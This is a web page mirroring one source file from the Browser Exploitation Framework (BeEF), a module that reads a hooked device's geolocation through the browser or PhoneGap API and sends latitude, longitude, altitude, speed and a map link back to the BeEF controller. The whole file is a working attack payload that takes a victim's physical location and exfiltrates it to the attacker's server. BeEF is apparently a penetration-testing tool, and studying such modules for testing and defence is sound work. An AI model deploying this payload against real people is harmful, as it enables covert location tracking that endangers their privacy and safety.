Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/phonegap/phonegap_geo_locate/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// geo locate
8
//
9
beef.execute(function() {
10
var onSuccess = function(position) {
11
result =
12
'Latitude: ' + position.coords.latitude + '\n' +
13
'Longitude: ' + position.coords.longitude + '\n' +
14
'Altitude: ' + position.coords.altitude + '\n' +
15
'Accuracy: ' + position.coords.accuracy + '\n' +
16
'Altitude Accuracy: ' + position.coords.altitudeAccuracy + '\n' +
17
'Heading: ' + position.coords.heading + '\n' +
18
'Speed: ' + position.coords.speed + '\n' +
19
'Timestamp: ' + new Date(position.timestamp) + '\n' ;
20
21
map = 'Map url: http://maps.google.com/?ll='+
22
position.coords.latitude + ',' + position.coords.longitude;
23
24
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result+map );
25
};
26
27
// onError Callback receives a PositionError object
28
//
29
function onError(error) {
30
beef.debug('code: ' + error.code + '\n' +
31
'message: ' + error.message + '\n');
32
}
33
34
navigator.geolocation.getCurrentPosition(onSuccess, onError);
35
});
36
37